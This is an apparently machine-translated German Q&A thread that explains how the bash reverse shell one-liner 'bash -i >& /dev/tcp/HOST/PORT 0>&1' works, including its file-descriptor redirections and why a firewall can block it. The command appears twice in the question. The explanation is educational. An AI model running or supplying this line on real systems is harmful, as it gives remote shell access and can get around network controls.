Ich habe es versucht bash -i >& /dev/tcp/HOST/PORT 0>&1
, aber es scheint nicht hinter der Firewall zu funktionieren. Was macht dieser Code eigentlich, welche Ports werden weitergeleitet und könnte er hinter fiewall funktionieren?
quelle
Ich habe es versucht bash -i >& /dev/tcp/HOST/PORT 0>&1
, aber es scheint nicht hinter der Firewall zu funktionieren. Was macht dieser Code eigentlich, welche Ports werden weitergeleitet und könnte er hinter fiewall funktionieren?
Dieses Snippet führt eine neue interaktive Instanz von bash ( bash -i
) auf einer TCP-Verbindung zum angegebenen Port auf dem angegebenen Host aus, die für die Dauer des Bash-Prozesses erstellt wird. Standardausgabe und Standardfehler werden über diese Verbindung gesendet ( >& /dev/tcp/HOST/PORT
), und Standardeingabe wird über diese Verbindung gelesen ( 0>&1
- dies sollte 0<&1
aber auch 0>&1
funktionieren).
Es findet keine Portweiterleitung statt. Offensichtlich muss ein TCP-Server Verbindungen auf diesem HOST: PORT abhören und akzeptieren, und die Firewall muss die Verbindung durchlassen.
/dev/tcp/HOST/PORT
? Ich nahm an, dass Sie einen Namen durchHOST
und eine Nummer durch ersetzt hattenPORT
. Andernfalls erhalten Sie eine Fehlermeldung von bash. Da Sie keine Fehlermeldung erwähnt haben, gehe ich davon aus, dass Sie keine gesehen haben.0<&1
Teil nicht verdauen . Ich las es als 'nimm bash stdout (&1
) und leite es in bash stdin (0
)', was Sinn macht. Können Sie bitte erklären, wie dieser Teil funktioniert?0<&1
bedeutet, dass alles, was gerade in Dateideskriptor 1 geöffnet ist, mit Dateideskriptor 0 verbunden wird. Da die vorherige Umleitung>& /dev/tcp/HOST/PORT
fd 1 (die Standardeinstellung für eine Ausgabeverleitung) mit verbunden hat/dev/tcp/HOST/PORT
, dh einen TCP-Socket geöffnet hat, wird die TCP-Verbindung mit Dateideskriptor 0 (dh dem Der gleiche Socket ist jetzt auch auf fd 0 geöffnet. Dies unterscheidet sich von 0 </ dev / tcp / HOST / PORT, wodurch ein anderer Socket für denselben Server geöffnet würde.